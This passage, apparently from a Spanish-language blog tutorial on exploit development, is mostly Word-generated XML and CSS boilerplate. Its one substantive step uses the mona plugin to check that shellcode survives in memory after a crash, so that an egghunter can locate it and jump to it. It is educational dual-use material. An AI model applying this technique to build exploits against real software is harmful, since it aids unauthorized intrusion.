UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Table Normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</div>
<div class="MsoNormal">
Una vez que conseguimos el crash lo que haremos será
comparar con mona en la memoria de la siguiente manera:</div>
<div class="MsoNormal">
¡mona compare –f C:\shellcode.bin</div>
<div class="MsoNormal">
Con este comando buscamos si nuestra shellcode se encuentra
sin modificar en la memoria, si esto es así podremos con un egghunter buscarla
y saltar hacia ella:</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-XZOdNTU1J5A/UW6ly95Z0NI/AAAAAAAAAes/1oPB2FtX_YM/s1600/compare.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="444" src="http://3.bp.blogspot.com/-XZOdNTU1J5A/UW6ly95Z0NI/AAAAAAAAAes/1oPB2FtX_YM/s640/compare.png" width="640" /></a></div>
<br />
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
